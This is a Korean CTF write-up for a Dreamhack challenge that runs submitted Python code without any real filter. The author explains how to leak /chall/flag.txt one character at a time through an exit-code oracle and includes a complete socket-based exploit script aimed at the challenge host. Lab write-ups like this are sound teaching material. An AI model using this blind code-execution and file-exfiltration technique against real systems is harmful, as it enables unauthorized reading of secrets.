
문제 설명도 없고
그냥 최근에 출제된 시스템 문제라는 것 말고는 없다..
코드 분석부터 진행하겠다.
import os
import subprocess
import unicodedata
import _frozen_importlib
# (TODO) Set up the filter
def filter(user_input):
return True
code=input('Input > ')
result=filter(code)
if result==True:
try:
try: # (TODO) test the new code execution system
with open('test.py','wt') as f:
f.write(code)
os.chmod("./test.py",0o755)
result = subprocess.run(['python3','test.py'], capture_output=True, text=True, check=True)
#print(result.stdout) # TODO
print('Done.')
except subprocess.CalledProcessError as e:
print("An error occured.")
except FileNotFoundError:
print('test.py is missing.')
except Exception as e:
print('An unexpected error occured : '+e)
finally:
if os.path.exists('./test.py'):
os.remove('./test.py')
except:
print('System error. Please ask Rootsquare...')
else:
print('No Hack~ ^_^')
test.py에 저장한 뒤 python3 test.py를 실행한다.subprocess.run(['python3','test.py'], capture_output=True, check=True) 형태로 보이며,
Done. 출력An error occured. 출력./test.py를 삭제한다./chall/flag.txt를 읽을 수 있고(0400, 소유자 동일),즉, 입력 필터 filter()가 실질적으로 우회/무력화 되어 사용자가 보낸 파이썬 코드가 그대로 동작한다.

종료 코드가 부모 출력에 반영되는데, 그건 위의 트라이로 확인할 수 있다.
두 결과를 통해 참/거짓 응답이 존재함을 확인할 수 있다.
즉, Blind SQLi 하는 느낌으로 한글자씩 flag를 맞춰가면서 얻어내면 될 것 같다.
s=open('/chall/flag.txt','rb').read().decode('utf-8','ignore')로 flag를 문자열에 담고,
sys.exit(1 if (cond) else 0)로 종료코드를 선택 → 원격 응답 문자열로 flag의 참/거짓을 판단하면 된다.
import socket, time, os, sys
HOST = "host8.dreamhack.games"
PORT = 23303
PROMPT = b"Input > "
# 네트워크/재시도 설정
CONNECT_TIMEOUT = 4.0
READ_TIMEOUT = 6.0
MAX_RETRIES = 6
RETRY_SLEEP = 0.4
PAUSE_BETWEEN_QUERIES = 0.1 # 서버 과부하/레이트리밋
PROGRESS_FILE = "flag_progress.txt"
# Dreamhack 플래그에 흔한 문자 우선 (실패 시 0..255 이분탐색)
CHARSET = "DH{}" + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_@-+!#$%&=.:,/?"
def recv_until(sock, token, timeout):
sock.settimeout(timeout)
data = b""
while token not in data:
b = sock.recv(1)
if not b:
break
data += b
return data
def run_one_liner(pycode_one_line: str) -> str:
# 서버 접속→한 줄 코드 전송→응답 수신(EOF까지). 재시도 포함
assert "\\n" not in pycode_one_line, "payload must be ONE line"
last_err = None
for _ in range(MAX_RETRIES):
try:
with socket.create_connection((HOST, PORT), timeout=CONNECT_TIMEOUT) as s:
recv_until(s, PROMPT, timeout=READ_TIMEOUT)
s.sendall(pycode_one_line.encode("utf-8") + b"\\n")
try:
s.shutdown(socket.SHUT_WR)
except OSError:
pass
s.settimeout(READ_TIMEOUT)
buf = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
buf += chunk
return buf.decode("utf-8", errors="ignore")
except Exception as e:
last_err = e
time.sleep(RETRY_SLEEP)
raise RuntimeError(f"connection failed after retries: {last_err}")
def query_bool(cond: str) -> bool:
# cond가 True면 exit(1) → 'An error occured.'
# False면 exit(0) → 'Done.'
payload = (
"import sys;"
"s=open('/chall/flag.txt','rb').read().decode('utf-8','ignore');"
f"sys.exit(1 if ({cond}) else 0)"
)
rsp = run_one_liner(payload)
if "An error occured." in rsp:
time.sleep(PAUSE_BETWEEN_QUERIES)
return True
if "Done." in rsp:
time.sleep(PAUSE_BETWEEN_QUERIES)
return False
# 예외적으로 다른 메시지가 오면 재시도 한번 더
# (문구가 바뀌는 경우가 드물지만 방어적으로 처리)
# 재시도 후에도 아니면 오류
rsp2 = run_one_liner(payload)
if "An error occured." in rsp2:
time.sleep(PAUSE_BETWEEN_QUERIES)
return True
if "Done." in rsp2:
time.sleep(PAUSE_BETWEEN_QUERIES)
return False
raise RuntimeError(f"unexpected response:\\n{rsp}\\n---\\n{rsp2}")
def has_index(i: int) -> bool:
return query_bool(f"len(s)>{i}")
def guess_char_linear(i: int):
# 우선 문자셋으로 직접 일치 비교
for c in CHARSET:
if query_bool(f"(len(s)>{i} and ord(s[{i}])=={ord(c)})"):
return c
return None # 실패 시 이분탐색으로 넘어감
def guess_char_binsearch(i: int, lo=0, hi=255) -> int:
"""ord(s[i])를 [0..255]에서 이분탐색으로 정확히 획득."""
L, R = lo, hi
while L <= R:
mid = (L + R) // 2
cond = f"((len(s)>{i}) and (ord(s[{i}])>={mid}))"
if query_bool(cond):
L = mid + 1
else:
R = mid - 1
return R # 0..255 보장 (len(s)>i가 False면 여기 오기 전에 걸러짐)
def load_progress():
if os.path.exists(PROGRESS_FILE):
with open(PROGRESS_FILE, "r", encoding="utf-8", errors="ignore") as f:
return f.read()
return ""
def save_progress(s: str):
with open(PROGRESS_FILE, "w", encoding="utf-8") as f:
f.write(s)
def recover_flag(max_len=256):
# 진행상황 이어받기
out = load_progress()
i = len(out)
# 이미 끝난 경우도 처리
if out.endswith("}"):
print(f"[*] already complete: {out!r}")
return out
while i < max_len:
if not has_index(i):
break
ch = guess_char_linear(i)
if ch is None:
val = guess_char_binsearch(i, 0, 255)
try:
ch = chr(val)
except ValueError:
# 이론상 오지 않지만 방어적으로 처리
ch = '?'
out += ch
save_progress(out)
print(f"[*] so far: {out!r}")
if ch == "}":
break
i += 1
return out
if __name__ == "__main__":
print("[*] Recovering flag via stable one-liner + exit-code oracle…")
flag = recover_flag(256)
print(f"[+] FLAG = {flag}")